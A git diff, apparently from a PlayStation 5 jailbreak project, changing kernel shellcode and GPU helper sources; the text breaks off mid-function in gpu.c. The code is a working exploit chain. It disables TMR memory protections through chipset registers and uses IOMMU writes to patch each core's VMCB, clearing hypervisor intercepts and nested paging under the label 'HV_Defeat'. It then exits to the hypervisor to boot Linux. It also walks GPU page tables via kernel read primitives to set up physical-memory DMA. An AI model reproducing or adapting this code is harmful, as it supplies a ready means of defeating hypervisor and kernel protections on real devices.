'M'); + putc_uart(args_ptr->dmap_base, 'R'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'K'); + putc_uart(args_ptr->dmap_base, '\n'); + + // Patch HV + patch_vmcb(args_ptr); + + putc_uart(args_ptr->dmap_base, 'V'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'C'); + putc_uart(args_ptr->dmap_base, 'B'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'K'); + putc_uart(args_ptr->dmap_base, '\n'); + + // Re-do this to force a VMEXIT without HV injecting faults + ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t, + int *))args_ptr->fun_hv_iommu_set_buffers)( + iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices); + ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)(); + + putc_uart(args_ptr->dmap_base, 'B'); + putc_uart(args_ptr->dmap_base, 'a'); + putc_uart(args_ptr->dmap_base, 'c'); + putc_uart(args_ptr->dmap_base, 'k'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'f'); + putc_uart(args_ptr->dmap_base, 'r'); + putc_uart(args_ptr->dmap_base, 'o'); + putc_uart(args_ptr->dmap_base, 'm'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'H'); + putc_uart(args_ptr->dmap_base, 'V'); + putc_uart(args_ptr->dmap_base, '\n'); + + // We can now initiate the global args variable and use it, as NPTs are + // disabled + init_global_pointers(args_ptr); + + printf("HV_Defeat: we should be ready for Linux part\n"); + + boot_linux(); + printf("Linux prepared OK\n"); + + // Activate HV UART - Not really needed but good for debugging + // *(uint32_t*)PHYS_TO_DMAP(args.hv_uart_override_pa) = 0x0; + + printf("Calling smp_rendezvous to exit all cores to HV with ptr: %016lx\n", + (uint64_t)vmmcall_dummy); + printf("Good Bye VM :)\n"); + + smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy, + smp_no_rendevous_barrier, NULL); + + printf("We shouldn't be here :(\n"); + } else { + putc_uart(args_ptr->dmap_base, 'I'); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'M'); + putc_uart(args_ptr->dmap_base, 'U'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 's'); + putc_uart(args_ptr->dmap_base, 'b'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'N'); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, ' '); + putc_uart(args_ptr->dmap_base, 'O'); + putc_uart(args_ptr->dmap_base, 'K'); + putc_uart(args_ptr->dmap_base, '\n'); + } + +out: + return 0; +} + +__attribute__((noinline, optimize("O0"), naked)) void vmmcall_dummy(void) { + __asm__ volatile("mov $0x1, %rax \n" + "vmmcall \n" + "ret \n"); +} + +void halt(void) { __asm__ __volatile__("hlt"); } + +// Submit a single 16-byte command and wait for completion +__attribute__((noinline, optimize("O0"))) void +iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) { + // Read the offset of current tail of command list + uint64_t curr_tail = *( + (uint64_t *)args_ptr->iommu_mmio_va + + IOMMU_MMIO_CB_TAIL / + 8); // Offset in IOMMU Command Buffer - Downscale the size of the ptr + uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & + IOMMU_CB_MASK; // Offset in IOMMU Command Buffer + + // We write the command in the current empty entry + uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va + + curr_tail / 8; // Downscale the size of the ptr + // Copy 0x10 bytes (CMD Size) + cmd_buffer[0] = cmd[0]; + cmd_buffer[1] = cmd[1]; + + __asm__ volatile("" : : : "memory"); // Prevent reordering + *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = + next_tail; // Indicate the IOMMU that there is a CMD - Downscale the size + // of the ptr + + // Wait CMD processing completion - Head will be the Tail + while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) != + *((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8)) + ; +} + +// Write 8 bytes to a physical address using IOMMU completion wait store +__attribute__((noinline, optimize("O0"))) void +iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, + uint64_t val) { + uint32_t cmd[4] = {0}; + cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; + cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; + cmd[2] = (uint32_t)(val); + cmd[3] = (uint32_t)(val >> 32); + iommu_submit_cmd(args_ptr, (uint64_t *)cmd); +} + +__attribute__((noinline, optimize("O0"))) void +patch_vmcb(volatile shellcode_kernel_args *args_ptr) { + for (int i = 0; i < 16; i++) { + uint64_t pa = args_ptr->vmcb[i]; + // args_ptr->fun_printf("Patching core: %02d VMCB_PA: 0x%016lx\n", i, + // args_ptr->vmcb[i]); + iommu_write8_pa(args_ptr, pa + 0x00, + 0x0000000000000000ULL); // Clear all intercepts (R/W) to + // CR0-CR15 and DR0-DR15 + iommu_write8_pa(args_ptr, pa + 0x08, + 0x0004000000000000ULL); // Clear all intercepts of except. + // vectors but CPUID + iommu_write8_pa(args_ptr, pa + 0x10, + 0x000000000000000FULL); // Clear all except VMMCALL, VMLOAD, + // VMSAVE, VMRUN + iommu_write8_pa(args_ptr, pa + 0x58, + 0x0000000000000001ULL); // Guest ASID ... 1 ? + iommu_write8_pa(args_ptr, pa + 0x90, + 0x0000000000000000ULL); // Disable NP_ENABLE + } +} + +__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap, + uint32_t addr) { + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; + return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF); +} + +__attribute__((noinline, optimize("O0"))) void +tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) { + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val; +} + +// On 1.xx and 2.xx the HV is embedded in kernel area on TMR 16 +// On 3.xx and 4.xx there are multiple TMR protecting HV and Kernel +__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) { + for (int i = 0; i < 24; i++) { + if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { + tmr_write(dmap, TMR_CONFIG(i), 0); + if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { + return -1; + } + } + } + return 0; +} + +void init_global_pointers(volatile shellcode_kernel_args *args_ptr) { + + memcpy(&args, (void *)args_ptr, sizeof(args)); + + printf = (void (*)(const char *, ...))args.fun_printf; + smp_rendezvous = (void (*)(void (*)(void), void (*)(void), void (*)(void), + void *))args.fun_smp_rendezvous; + smp_no_rendevous_barrier = (void (*)(void))args.fun_smp_no_rendevous_barrier; + + transmitter_control = (int (*)(int, void *))args.fun_transmitter_control; + mp3_initialize = (int (*)(int))args.fun_mp3_initialize; + mp3_invoke = (int (*)(int, void *, void *))args.fun_mp3_invoke; + g_vbios = args.g_vbios; +} diff --git a/shellcode_kernel/main.h b/shellcode_kernel/main.h index 729fb21..c2feed4 100644 --- a/shellcode_kernel/main.h +++ b/shellcode_kernel/main.h @@ -1,65 +1,65 @@ -#ifndef MAIN_H -#define MAIN_H -#include "shellcode_kernel_args.h" -#include - -void (*printf)(const char *format, ...); -uint32_t (*AcpiSetFirmwareWakingVector)(uint64_t PhysicalAddress, - uint64_t PhysicalAddress64); -uint64_t (*kernel_va_to_pa)(uint64_t va); -uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, - uint64_t eb_pa, uint64_t unk, int *n_devices); -uint32_t (*hv_iommu_wait_completion)(void); -void (*smp_rendezvous)(void (*setup_func)(void), void (*action_func)(void), - void (*teardown_func)(void), void *arg); -void (*smp_no_rendevous_barrier)(void); - -// We are being called instead of AcpiSetFirmwareWakingVector from -// acpi_wakeup_machdep -uint32_t main(uint64_t add1, uint64_t add2); - -uint64_t rdmsr(uint32_t msr); - -// tmr via ecam b0d18f2 -#ifndef ECAM_B0D18F2 -#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000) -#define TMR_INDEX_OFF 0x80 -#define TMR_DATA_OFF 0x84 -#endif - -// tmr layout (hardware) -#define TMR_BASE(n) ((n) * 0x10 + 0x00) -#define TMR_LIMIT(n) ((n) * 0x10 + 0x04) -#define TMR_CONFIG(n) ((n) * 0x10 + 0x08) -#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C) -#define TMR_CFG_PERMISSIVE 0x3F07 -#define MAX_TMR 22 -#define MAX_SAVED_TMRS 8 - -uint32_t tmr_read(uint64_t dmap, uint32_t addr); -void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val); -int tmr_disable(uint64_t dmap); - -// Command buffer MMIO offsets -#define IOMMU_MMIO_CB_HEAD 0xa000 -#define IOMMU_MMIO_CB_TAIL 0xa008 - -// Queue constants -#define IOMMU_CB_SIZE 0x2000 -#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1) -#define IOMMU_CMD_ENTRY_SIZE 0x10 - -// Submit a single 16-byte command and wait for completion -void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd); -// Write 8 bytes to a physical address using IOMMU completion wait store -void iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, - uint64_t val); - -void patch_vmcb(volatile shellcode_kernel_args *args_ptr); - -#define NULL (void *)0 -void vmmcall_dummy(void); -void halt(void); -void init_global_pointers(volatile shellcode_kernel_args *args_ptr); - -#endif \ No newline at end of file +#ifndef MAIN_H +#define MAIN_H +#include "shellcode_kernel_args.h" +#include + +void (*printf)(const char *format, ...); +uint32_t (*AcpiSetFirmwareWakingVector)(uint64_t PhysicalAddress, + uint64_t PhysicalAddress64); +uint64_t (*kernel_va_to_pa)(uint64_t va); +uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, + uint64_t eb_pa, uint64_t unk, int *n_devices); +uint32_t (*hv_iommu_wait_completion)(void); +void (*smp_rendezvous)(void (*setup_func)(void), void (*action_func)(void), + void (*teardown_func)(void), void *arg); +void (*smp_no_rendevous_barrier)(void); + +// We are being called instead of AcpiSetFirmwareWakingVector from +// acpi_wakeup_machdep +uint32_t main(uint64_t add1, uint64_t add2); + +uint64_t rdmsr(uint32_t msr); + +// tmr via ecam b0d18f2 +#ifndef ECAM_B0D18F2 +#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000) +#define TMR_INDEX_OFF 0x80 +#define TMR_DATA_OFF 0x84 +#endif + +// tmr layout (hardware) +#define TMR_BASE(n) ((n) * 0x10 + 0x00) +#define TMR_LIMIT(n) ((n) * 0x10 + 0x04) +#define TMR_CONFIG(n) ((n) * 0x10 + 0x08) +#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C) +#define TMR_CFG_PERMISSIVE 0x3F07 +#define MAX_TMR 22 +#define MAX_SAVED_TMRS 8 + +uint32_t tmr_read(uint64_t dmap, uint32_t addr); +void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val); +int tmr_disable(uint64_t dmap); + +// Command buffer MMIO offsets +#define IOMMU_MMIO_CB_HEAD 0xa000 +#define IOMMU_MMIO_CB_TAIL 0xa008 + +// Queue constants +#define IOMMU_CB_SIZE 0x2000 +#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1) +#define IOMMU_CMD_ENTRY_SIZE 0x10 + +// Submit a single 16-byte command and wait for completion +void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd); +// Write 8 bytes to a physical address using IOMMU completion wait store +void iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, + uint64_t val); + +void patch_vmcb(volatile shellcode_kernel_args *args_ptr); + +#define NULL (void *)0 +void vmmcall_dummy(void); +void halt(void); +void init_global_pointers(volatile shellcode_kernel_args *args_ptr); + +#endif diff --git a/shellcode_kernel/shellcode_kernel_args.h b/shellcode_kernel/shellcode_kernel_args.h index 5c2a525..b40e7f3 100644 --- a/shellcode_kernel/shellcode_kernel_args.h +++ b/shellcode_kernel/shellcode_kernel_args.h @@ -1,37 +1,37 @@ -// This file is shared between main payload and kernel shellcode -#ifndef SHELLCODE_KERNEL_ARGS_H -#define SHELLCODE_KERNEL_ARGS_H - -#include - -typedef struct { - uint32_t fw_version; - uint64_t ktext; - uint64_t kdata; - uint64_t dmap_base; - uint64_t fun_printf; - uint64_t fun_va_to_pa; - uint64_t fun_hv_iommu_set_buffers; - uint64_t fun_hv_iommu_wait_completion; - uint64_t fun_acpi_set_fw_waking_vector; - uint64_t fun_smp_rendezvous; - uint64_t fun_smp_no_rendevous_barrier; - uint64_t fun_transmitter_control; - uint64_t fun_mp3_initialize; - uint64_t fun_mp3_invoke; - uint64_t g_vbios; - uint64_t iommu_mmio_va; - uint64_t iommu_cb2_va; - uint64_t iommu_cb3_va; - uint64_t iommu_eb_va; - uint64_t vmcb[16]; - uint64_t kernel_uart_override; - uint64_t hv_handle_vmexit_pa; - uint64_t hv_code_cave_pa; - uint64_t hv_uart_override_pa; - uint64_t linux_info_va; // To relocate by kernel shellcode -} shellcode_kernel_args; - -extern shellcode_kernel_args args; // Declared on main.c - -#endif \ No newline at end of file +// This file is shared between main payload and kernel shellcode +#ifndef SHELLCODE_KERNEL_ARGS_H +#define SHELLCODE_KERNEL_ARGS_H + +#include + +typedef struct { + uint32_t fw_version; + uint64_t ktext; + uint64_t kdata; + uint64_t dmap_base; + uint64_t fun_printf; + uint64_t fun_va_to_pa; + uint64_t fun_hv_iommu_set_buffers; + uint64_t fun_hv_iommu_wait_completion; + uint64_t fun_acpi_set_fw_waking_vector; + uint64_t fun_smp_rendezvous; + uint64_t fun_smp_no_rendevous_barrier; + uint64_t fun_transmitter_control; + uint64_t fun_mp3_initialize; + uint64_t fun_mp3_invoke; + uint64_t g_vbios; + uint64_t iommu_mmio_va; + uint64_t iommu_cb2_va; + uint64_t iommu_cb3_va; + uint64_t iommu_eb_va; + uint64_t vmcb[16]; + uint64_t kernel_uart_override; + uint64_t hv_handle_vmexit_pa; + uint64_t hv_code_cave_pa; + uint64_t hv_uart_override_pa; + uint64_t linux_info_va; // To relocate by kernel shellcode +} shellcode_kernel_args; + +extern shellcode_kernel_args args; // Declared on main.c + +#endif diff --git a/shellcode_kernel/utils.c b/shellcode_kernel/utils.c index 90ea533..6eb18ea 100644 --- a/shellcode_kernel/utils.c +++ b/shellcode_kernel/utils.c @@ -1,77 +1,77 @@ -#include "utils.h" -#include "shellcode_kernel_args.h" - -extern shellcode_kernel_args args; - -uint64_t PHYS_TO_DMAP(uint64_t pa) { return args.dmap_base + pa; } - -void memcpy(void *dest, void *src, uint64_t len) { - uint8_t *d = (uint8_t *)dest; - const uint8_t *s = (const uint8_t *)src; - for (uint64_t i = 0; i < len; i++) { - d[i] = s[i]; - } -} - -uint64_t read_cr3(void) { - uint64_t cr3; - __asm__ volatile("mov %%cr3, %0" - : "=r"(cr3) // Output: move CR3 into the variable 'cr3' - : // No inputs - : // No clobbered registers - ); - return cr3; -} - -// for ring0 -uint64_t va_to_pa_kernel(uint64_t va) { - uint64_t cr3 = read_cr3(); - return va_to_pa_custom(va, cr3); -} - -// Source: PS5_kldload -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { - - uint64_t table_phys = cr3_custom & 0xFFFFFFFF; - - for (int level = 0; level < 4; level++) { - int shift = 39 - (level * 9); - uint64_t idx = (va >> shift) & 0x1FF; - uint64_t entry; - uint64_t entry_va = PHYS_TO_DMAP(PAGE_PA(table_phys) + idx * 8); - - entry = *(uint64_t *)entry_va; - - if (!PAGE_P(entry)) - return 0; - - if ((level == 1 || level == 2) && PAGE_PS(entry)) { - uint64_t page_size = P_SIZE(level); - return PAGE_PA(entry) | (va & (page_size - 1)); - } - - if (level == 3) - return PAGE_PA(entry) | (va & 0xFFF); - - table_phys = PAGE_PA(entry); - } - return 0; -} - -__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint64_t dmap, - uint8_t tx_byte) { - volatile uint32_t *uart_tx = (uint32_t *) (dmap + 0xc1010104ULL); - volatile uint32_t *uart_busy = (uint32_t *) (dmap + 0xc101010cULL); - uint64_t timeout = 0xFFFFFFFF; - do { - timeout--; - if (timeout == 0) - break; - } while (((*uart_busy) & 0x20) == 0); - - if (timeout == 0) - return -1; - - *uart_tx = (uint32_t)tx_byte & 0xFF; - return 0; -} \ No newline at end of file +#include "utils.h" +#include "shellcode_kernel_args.h" + +extern shellcode_kernel_args args; + +uint64_t PHYS_TO_DMAP(uint64_t pa) { return args.dmap_base + pa; } + +void memcpy(void *dest, void *src, uint64_t len) { + uint8_t *d = (uint8_t *)dest; + const uint8_t *s = (const uint8_t *)src; + for (uint64_t i = 0; i < len; i++) { + d[i] = s[i]; + } +} + +uint64_t read_cr3(void) { + uint64_t cr3; + __asm__ volatile("mov %%cr3, %0" + : "=r"(cr3) // Output: move CR3 into the variable 'cr3' + : // No inputs + : // No clobbered registers + ); + return cr3; +} + +// for ring0 +uint64_t va_to_pa_kernel(uint64_t va) { + uint64_t cr3 = read_cr3(); + return va_to_pa_custom(va, cr3); +} + +// Source: PS5_kldload +uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { + + uint64_t table_phys = cr3_custom & 0xFFFFFFFF; + + for (int level = 0; level < 4; level++) { + int shift = 39 - (level * 9); + uint64_t idx = (va >> shift) & 0x1FF; + uint64_t entry; + uint64_t entry_va = PHYS_TO_DMAP(PAGE_PA(table_phys) + idx * 8); + + entry = *(uint64_t *)entry_va; + + if (!PAGE_P(entry)) + return 0; + + if ((level == 1 || level == 2) && PAGE_PS(entry)) { + uint64_t page_size = P_SIZE(level); + return PAGE_PA(entry) | (va & (page_size - 1)); + } + + if (level == 3) + return PAGE_PA(entry) | (va & 0xFFF); + + table_phys = PAGE_PA(entry); + } + return 0; +} + +__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint64_t dmap, + uint8_t tx_byte) { + volatile uint32_t *uart_tx = (uint32_t *)(dmap + 0xc1010104ULL); + volatile uint32_t *uart_busy = (uint32_t *)(dmap + 0xc101010cULL); + uint64_t timeout = 0xFFFFFFFF; + do { + timeout--; + if (timeout == 0) + break; + } while (((*uart_busy) & 0x20) == 0); + + if (timeout == 0) + return -1; + + *uart_tx = (uint32_t)tx_byte & 0xFF; + return 0; +} diff --git a/shellcode_kernel/utils.h b/shellcode_kernel/utils.h index 08e51e5..41171db 100644 --- a/shellcode_kernel/utils.h +++ b/shellcode_kernel/utils.h @@ -1,43 +1,43 @@ -#ifndef UTILS_H -#define UTILS_H -#include "shellcode_kernel_args.h" -#include - -extern void (*printf)(const char *format, ...); -uint64_t PHYS_TO_DMAP(uint64_t pa); -void memcpy(void *dest, void *src, uint64_t len); - -// Defines for Page management -enum page_bits { - P = 0, - RW, - US, - PWT, - PCD, - A, - D, - PS, - G, - XO = 58, - PK = 59, - NX = 63 -}; - -#define PG_B_P (1ULL << P) -#define PG_B_RW (1ULL << RW) -#define PAGE_P(x) (x & (1ULL << P)) -#define PAGE_RW(x) (x & (1ULL << RW)) -#define PAGE_PS(x) (x & (1ULL << PS)) -#define PAGE_XO(x) (x & (1ULL << XO)) -#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO)) -#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G)) -#define PAGE_SET_RW(x) (x |= (1ULL << RW)) -#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL) -#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21)) - -uint64_t read_cr3(void); -uint64_t va_to_pa_kernel(uint64_t va); -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom); -uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte); - -#endif \ No newline at end of file +#ifndef UTILS_H +#define UTILS_H +#include "shellcode_kernel_args.h" +#include + +extern void (*printf)(const char *format, ...); +uint64_t PHYS_TO_DMAP(uint64_t pa); +void memcpy(void *dest, void *src, uint64_t len); + +// Defines for Page management +enum page_bits { + P = 0, + RW, + US, + PWT, + PCD, + A, + D, + PS, + G, + XO = 58, + PK = 59, + NX = 63 +}; + +#define PG_B_P (1ULL << P) +#define PG_B_RW (1ULL << RW) +#define PAGE_P(x) (x & (1ULL << P)) +#define PAGE_RW(x) (x & (1ULL << RW)) +#define PAGE_PS(x) (x & (1ULL << PS)) +#define PAGE_XO(x) (x & (1ULL << XO)) +#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO)) +#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G)) +#define PAGE_SET_RW(x) (x |= (1ULL << RW)) +#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL) +#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21)) + +uint64_t read_cr3(void); +uint64_t va_to_pa_kernel(uint64_t va); +uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom); +uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte); + +#endif diff --git a/source/firmware.c b/source/firmware.c index d77efec..79b5fe1 100644 --- a/source/firmware.c +++ b/source/firmware.c @@ -57,13 +57,13 @@ static int build_firmware_path(const char *boot_file_path, char *boot_dir, if (slash == NULL) return -1; - ret = snprintf(boot_dir, boot_dir_size, "%.*s", - (int)(slash - boot_file_path), boot_file_path); + ret = snprintf(boot_dir, boot_dir_size, "%.*s", (int)(slash - boot_file_path), + boot_file_path); if (ret < 0 || (size_t)ret >= boot_dir_size) return -1; - ret = snprintf(fw_path, fw_path_size, "%s/%s", boot_dir, - PS5_WIFI_FW_BOOT_PATH); + ret = + snprintf(fw_path, fw_path_size, "%s/%s", boot_dir, PS5_WIFI_FW_BOOT_PATH); if (ret < 0 || (size_t)ret >= fw_path_size) return -1; diff --git a/source/gpu.c b/source/gpu.c index 570fdf9..b2a5b18 100644 --- a/source/gpu.c +++ b/source/gpu.c @@ -1,495 +1,495 @@ -#include "gpu.h" -#include "utils.h" -#include -#include -#include -#include -#include -#include -#include -#include - -int sceKernelAllocateMainDirectMemory(size_t size, size_t alignment, - int mem_type, uint64_t *phys_out); -int sceKernelMapNamedDirectMemory(void **va_out, size_t size, int prot, - int flags, uint64_t phys, size_t alignment, - const char *name); -int sceKernelSleep(int secs); - -static struct gpu_ctx s_gpu = {0}; -static struct gpu_kernel_offsets s_gpu_offsets = {0}; -static int s_offsets_set = 0; - -struct gpu_ctx *gpu_get_ctx(void) { return &s_gpu; } - -void gpu_set_offsets(struct gpu_kernel_offsets *offsets) { - memcpy(&s_gpu_offsets, offsets, sizeof(s_gpu_offsets)); - s_offsets_set = 1; -} - -static uint64_t gpu_pde_field(uint64_t pde, int shift, uint64_t mask) { - return (pde >> shift) & mask; -} - -static int gpu_get_vmid(void) { - uint64_t curproc = kernel_get_proc(getpid()); - uint64_t vmspace; - uint32_t vmid; - - kernel_copyout(curproc + s_gpu_offsets.proc_vmspace, &vmspace, - sizeof(vmspace)); - kernel_copyout(vmspace + s_gpu_offsets.vmspace_vm_vmid, &vmid, sizeof(vmid)); - - return (int)vmid; -} - -static uint64_t gpu_get_pdb2_addr(int vmid) { - uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE + - s_gpu_offsets.data_base_gvmspace + - (uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace; - - uint64_t pdb2_va; - kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_page_dir_va, &pdb2_va, - sizeof(pdb2_va)); - return pdb2_va; -} - -static uint64_t gpu_get_relative_va(int vmid, uint64_t va) { - uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE + - s_gpu_offsets.data_base_gvmspace + - (uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace; - - uint64_t start_va, size; - kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_start_va, &start_va, - sizeof(start_va)); - kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_size, &size, sizeof(size)); - - if (va >= start_va && va < start_va + size) - return va - start_va; - - return (uint64_t)-1; -} - -static uint64_t gpu_walk_pt(int vmid, uint64_t gpu_va, - uint64_t *out_page_size) { - uint64_t pdb2_addr = gpu_get_pdb2_addr(vmid); - - uint64_t pml4e_idx = (gpu_va >> 39) & 0x1FF; - uint64_t pdpe_idx = (gpu_va >> 30) & 0x1FF; - uint64_t pde_idx = (gpu_va >> 21) & 0x1FF; - - // PDB2 (PML4 equivalent) - uint64_t pml4e; - kernel_copyout(pdb2_addr + pml4e_idx * 8, &pml4e, sizeof(pml4e)); - - if (gpu_pde_field(pml4e, GPU_PDE_VALID_BIT, 1) != 1) - return 0; - - // PDB1 (PDPT equivalent) - uint64_t pdp_pa = pml4e & GPU_PDE_ADDR_MASK; - uint64_t pdpe_va = dmap + pdp_pa + pdpe_idx * 8; - uint64_t pdpe; - kernel_copyout(pdpe_va, &pdpe, sizeof(pdpe)); - - if (gpu_pde_field(pdpe, GPU_PDE_VALID_BIT, 1) != 1) - return 0; - - // PDB0 (PD equivalent) - uint64_t pd_pa = pdpe & GPU_PDE_ADDR_MASK; - uint64_t pde_va = dmap + pd_pa + pde_idx * 8; - uint64_t pde; - kernel_copyout(pde_va, &pde, sizeof(pde)); - - if (gpu_pde_field(pde, GPU_PDE_VALID_BIT, 1) != 1) - return 0; - - // If IS_PTE bit set, this is a 2MB leaf - if (gpu_pde_field(pde, GPU_PDE_IS_PTE_BIT, 1) == 1) { - *out_page_size = 0x200000; - return pde_va; - } - - // PTB (page table block) - uint64_t frag_size = gpu_pde_field(pde, GPU_PDE_BLOCK_FRAG_BIT, 0x1F); - uint64_t offset = gpu_va & 0x1FFFFF; - uint64_t pt_pa = pde & GPU_PDE_ADDR_MASK; - - uint64_t pte_idx, pte_va; - - if (frag_size == 4) { - pte_idx = offset >> 16; - pte_va = dmap + pt_pa + pte_idx * 8; - - uint64_t pte; - kernel_copyout(pte_va, &pte, sizeof(pte)); - - if (gpu_pde_field(pte, GPU_PDE_VALID_BIT, 1) == 1 && - gpu_pde_field(pte, GPU_PDE_TF_BIT, 1) == 1) { - pte_idx = (gpu_va & 0xFFFF) >> 13; - pte_va = dmap + pt_pa + pte_idx * 8; - *out_page_size = 0x2000; // 8KB - } else { - *out_page_size = 0x10000; // 64KB - } - } else if (frag_size == 1) { - pte_idx = offset >> 13; - pte_va = dmap + pt_pa + pte_idx * 8; - *out_page_size = 0x2000; // 8KB - } else { - // Unknown fragment size - use 64KB as default - pte_idx = offset >> 16; - pte_va = dmap + pt_pa + pte_idx * 8; - *out_page_size = 0x10000; - } - - return pte_va; -} - -static uint64_t gpu_alloc_dmem(uint64_t size, int gpu_write) { - uint64_t phys_out = 0; - void *va_out = NULL; - - int prot = PROT_READ | PROT_WRITE | PROT_GPU_READ; - if (gpu_write) - prot |= PROT_GPU_WRITE; - - int ret = sceKernelAllocateMainDirectMemory(size, size, 1, &phys_out); - if (ret != 0) { - printf("[gpu] sceKernelAllocateMainDirectMemory failed: 0x%d\n", ret); - return 0; - } - - ret = sceKernelMapNamedDirectMemory(&va_out, size, prot, MAP_NO_COALESCE, - phys_out, size, "gpudma"); - if (ret != 0) { - printf("[gpu] sceKernelMapNamedDirectMemory failed: 0x%d\n", ret); - return 0; - } - - return (uint64_t)va_out; -} - -static uint32_t pm4_type3_header(uint32_t opcode, uint32_t count) { - return ((PM4_TYPE3 & 0x3) << 30) | (((count - 1) & 0x3FFF) << 16) | - ((opcode & 0xFF) << 8) | ((PM4_SHADER_COMPUTE & 0x1) << 1); -} - -static int pm4_build_dma_data(void *buf, uint64_t dst_va, uint64_t src_va, - uint32_t length) { - uint32_t *pkt = (uint32_t *)buf; - uint32_t count = 6; - - uint32_t dma_hdr = (1u << 31) // cp_sync - | (2u << 25) // dst_cache_policy - | (1u << 27) // dst_volatile - | (2u << 13) // src_cache_policy - | (1u << 15); // src_volatile - - pkt[0] = pm4_type3_header(PM4_OPCODE_DMA_DATA, count); - pkt[1] = dma_hdr; - pkt[2] = (uint32_t)(src_va & 0xFFFFFFFF); - pkt[3] = (uint32_t)(src_va >> 32); - pkt[4] = (uint32_t)(dst_va & 0xFFFFFFFF); - pkt[5] = (uint32_t)(dst_va >> 32); - pkt[6] = length & 0x1FFFFF; - - return 7 * sizeof(uint32_t); -} - -static void gpu_build_cmd_descriptor(void *desc, uint64_t gpu_addr, - uint32_t size_bytes) { - uint64_t *d = (uint64_t *)desc; - uint32_t size_dwords = size_bytes >> 2; - - d[0] = ((gpu_addr & 0xFFFFFFFFULL) << 32) | 0xC0023F00ULL; - d[1] = - (((uint64_t)size_dwords & 0xFFFFF) << 32) | ((gpu_addr >> 32) & 0xFFFF); -} - -static int gpu_submit_commands(int fd, uint32_t pipe_id, uint32_t cmd_count, - uint64_t descriptors_ptr) { - struct { - uint32_t pipe_id; - uint32_t count; - uint64_t cmd_buf_ptr; - } submit; - - submit.pipe_id = pipe_id; - submit.count = cmd_count; - submit.cmd_buf_ptr = descriptors_ptr; - - return ioctl(fd, GPU_SUBMIT_IOCTL, &submit); -} - -static int gpu_transfer_physical(uint64_t phys_addr, void *local_buf, - uint32_t size, int is_write) { - 